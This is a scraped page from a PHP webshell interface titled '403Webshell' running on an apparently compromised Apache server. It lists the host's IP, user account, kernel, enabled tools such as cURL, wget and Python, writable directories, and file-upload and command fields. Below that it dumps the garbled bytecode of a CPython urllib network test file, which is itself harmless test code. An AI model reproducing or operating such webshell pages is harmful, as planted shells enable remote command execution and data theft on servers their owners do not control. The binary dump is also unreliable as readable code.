403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.17
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_urllib2net.cpython-36.opt-2.pyc
3

�
�^�1�@s�ddlZddlmZddlmZddlZddlZddlZddl	Zddl
Z
ejd�dZdd�Z
dd	�Zejd
ejkd�Zeejjejj�ZGdd
�d
ej�ZGdd�dej�ZGdd�dej�ZGdd�dej�Zedkr�ej�dS)�N)�support)�sanepathname2urlZnetwork�<cOsNxDtd�D]8}y
|||�S|k
r@}z|}w
WYdd}~Xq
Xq
W|�dS)N�)�range)�func�exc�args�kwargs�i�e�last_exc�r�4/opt/alt/python36/lib64/python3.6/test_urllib2net.py�
_retry_thrices
rcs��fdd�}|S)Ncst��f|�|�S)N)r)r	r
)rrrr�wrappedsz(_wrap_with_retry_thrice.<locals>.wrappedr)rrrr)rrr�_wrap_with_retry_thricesrZTRAVISz%bpo-35411: skip FTP test on Travis CIc@seZdZdS)�	AuthTestsN)�__name__�
__module__�__qualname__rrrrr+src@seZdZdd�ZdS)�CloseSocketTestc	CsLd}tj|��4t|�}|j}|j|j�|j�|j|j�WdQRXdS)Nzhttp://www.example.com/)r�transient_internet�_urlopen_with_retry�fp�assertFalse�closed�close�
assertTrue)�self�urlZresponseZsockrrr�
test_closeTszCloseSocketTest.test_closeN)rrrr!rrrrrRsrc@sdeZdZdd�Zedd��Zdd�Zdd�Zd	d
�Zdd�Z	e
jd
�dd��Zddd�Z
dd�ZdS)�OtherNetworkTestscCsdS)Nr)rrrr�setUp`szOtherNetworkTests.setUpcCs&dddtjjfg}|j||j��dS)Nzftp://www.pythontest.net/READMEz*ftp://www.pythontest.net/non-existent-file)�urllib�error�URLError�
_test_urls�_extra_handlers)r�urlsrrr�test_ftpiszOtherNetworkTests.test_ftpcCs�tj}t|d�}zL|jd�|j�dttjj|��ddt	j
jfg}|j||j
�dd�Wdtj|�X|jtt	jjd�dS)N�wz	hi there
zfile:zfile:///nonsensename/etc/passwdT)�retryz./relative_path/to/file)r�TESTFN�open�writerr�os�path�abspathr$r%r&r'r(�removeZassertRaises�
ValueError�request�urlopen)rr-�fr)rrr�	test_filers

zOtherNetworkTests.test_filec
CsFd}tj|��.tjj|�}tjj|�}|j|j�d�WdQRXdS)Nz)http://www.pythontest.net/index.html#frag)rrr$r5�Requestr6�assertEqual�geturl)rZurlwith_frag�req�resrrr�test_urlwithfrag�s
z"OtherNetworkTests.test_urlwithfragc
CsFd}tj|��.tjj|�}tjj|�}|j|j�d�WdQRXdS)Nz*http://www.pythontest.net/redir/with_frag/z)http://www.pythontest.net/elsewhere/#frag)rrr$r5r9r6r:r;)rZredirect_url_with_fragr<r=rrr�test_redirect_url_withfrag�s
z,OtherNetworkTests.test_redirect_url_withfragc
Cs�d}tj|��ztjj�}tjj|�}|j|j��|j|�|j	|j��|j	|j
d��|jdd�|j|�|j|j
d�d�WdQRXdS)Nzhttp://www.example.comz
User-agentz
User-Agentz
Test-Agent)rrr$r5�build_openerr9rZheader_itemsr.rZ
has_headerZ
add_headerr:Z
get_header)rr �openerr5rrr�test_custom_headers�s


z%OtherNetworkTests.test_custom_headersz XXX: http://www.imdb.com is gonecCs�d}tj|��xytjj|��}WdQRXWn,tk
rX}z|jd�WYdd}~XnX|j|�tjj|�}|j�}|j|�WdQRXdS)Nzhttp://www.imdb.comzOurlopen failed for site not sending                            Connection:close)	rrr$r5r6r4Zfailr�read)rZURLr=rr<rrr�test_sites_no_connection_close�s
z0OtherNetworkTests.test_sites_no_connection_closeTc6Cs�ddl}ddl}|jd�j}tjj|�j}|r<t|tj	j
�}�xL|D�]B}|j|d���*t|t
�rp|\}}	}
nd}	}
tj|���y|||	t�}WnNtk
r�}z2|
r�d|
||	t|�|f}
|j||
|
�n�WYdd}~Xn�XyRtj�Btj�0tj�|j�}|dt|��WdQRXWdQRXWdQRXWn*tjk
�r`td|tjd�YnX|j�WdQRX|jd�WdQRXqDWdS)	NrZtest_urllib2)r z5Didn't get expected error(s) %s for %s %s, got %s: %sz
read %d bytesz
<timeout: %s>)�fileg�������?) �time�loggingZ	getLogger�debugr$r5r@r.rr%r&ZsubTest�
isinstance�tuplerr�TIMEOUT�OSError�typeZassertIsInstanceZtime_outZsocket_peer_resetZioerror_peer_resetrC�len�socket�timeout�print�sys�stderrrZsleep)rr)�handlersr,rFrGrHr6r r<Zexpected_errr7�err�msg�bufrrrr'�s<
2zOtherNetworkTests._test_urlscCs2g}tjj�}|j|j�|jd�|j|�|S)N�)r$r5ZCacheFTPHandler�
addCleanupZclear_cacheZ
setTimeout�append)rrTZcfhrrrr(�s


z!OtherNetworkTests._extra_handlersN)T)rrrr#�skip_ftp_test_on_travisr*r8r>r?rB�unittest�skiprDr'r(rrrrr"_s		-

'r"c@s`eZdZdd�Zdd�Zdd�Zdd�Zd	Zed
d��Z	edd
��Z
edd��Zedd��ZdS)�TimeoutTestc	CsX|jtj��d}tj|dd��.t|�}|j|j�|j|jj	j
j��WdQRXdS)Nzhttp://www.example.com)rP)�assertIsNonerO�getdefaulttimeoutrrrrYrr�raw�_sock�
gettimeout)rr �urrr�test_http_basicszTimeoutTest.test_http_basiccCsr|jtj��d}tj|��Ltjd�zt|�}|j|j�Wdtjd�X|j	|j
jjj
�d�WdQRXdS)Nzhttp://www.example.comr)r_rOr`rr�setdefaulttimeoutrrYrr:rrarbrc)rr rdrrr�test_http_default_timeouts
z%TimeoutTest.test_http_default_timeoutcCst|jtj��d}tj|��Ntjd�zt|dd�}|j|j�Wdtjd�X|j|j	j
jj��WdQRXdS)Nzhttp://www.example.comr)rP)
r_rOr`rrrfrrYrrrarbrc)rr rdrrr�test_http_no_timeouts
z TimeoutTest.test_http_no_timeoutcCsLd}tj|��4t|dd�}|j|j�|j|jjjj	�d�WdQRXdS)Nzhttp://www.example.com�x)rP)
rrrrYrr:rrarbrc)rr rdrrr�test_http_timeout$s
zTimeoutTest.test_http_timeoutzftp://www.pythontest.net/c	CsZ|jtj��tj|jdd��2t|j�}|j|j�|j|j	j	j
jj��WdQRXdS)N)rP)
r_rOr`rr�FTP_HOSTrrYrrrarbrc)rrdrrr�test_ftp_basic-s

zTimeoutTest.test_ftp_basiccCst|jtj��tj|j��Ptjd�zt|j�}|j|j	�Wdtjd�X|j
|jjjj
j�d�WdQRXdS)Nr)r_rOr`rrrkrfrrYrr:rrarbrc)rrdrrr�test_ftp_default_timeout5s

z$TimeoutTest.test_ftp_default_timeoutcCsv|jtj��tj|j��Rtjd�zt|jdd�}|j|j	�Wdtjd�X|j|j
j
jjj
��WdQRXdS)Nr)rP)r_rOr`rrrkrfrrYrrrarbrc)rrdrrr�test_ftp_no_timeoutAs
zTimeoutTest.test_ftp_no_timeoutcCsNtj|j��8t|jdd�}|j|j�|j|jjjj	j
�d�WdQRXdS)Nr)rP)rrrkrrYrr:rrarbrc)rrdrrr�test_ftp_timeoutMszTimeoutTest.test_ftp_timeoutN)
rrrrergrhrjrkr[rlrmrnrorrrrr^sr^�__main__)r\ZtestrZtest.test_urllib2rr0rOZurllib.errorr$Zurllib.requestrRZrequiresrKrrZskipIf�environr[r5r6r%r&rZTestCaserrr"r^r�mainrrrr�<module>s,
	
'
%R

Youez - 2016 - github.com/yon3zu
LinuXploit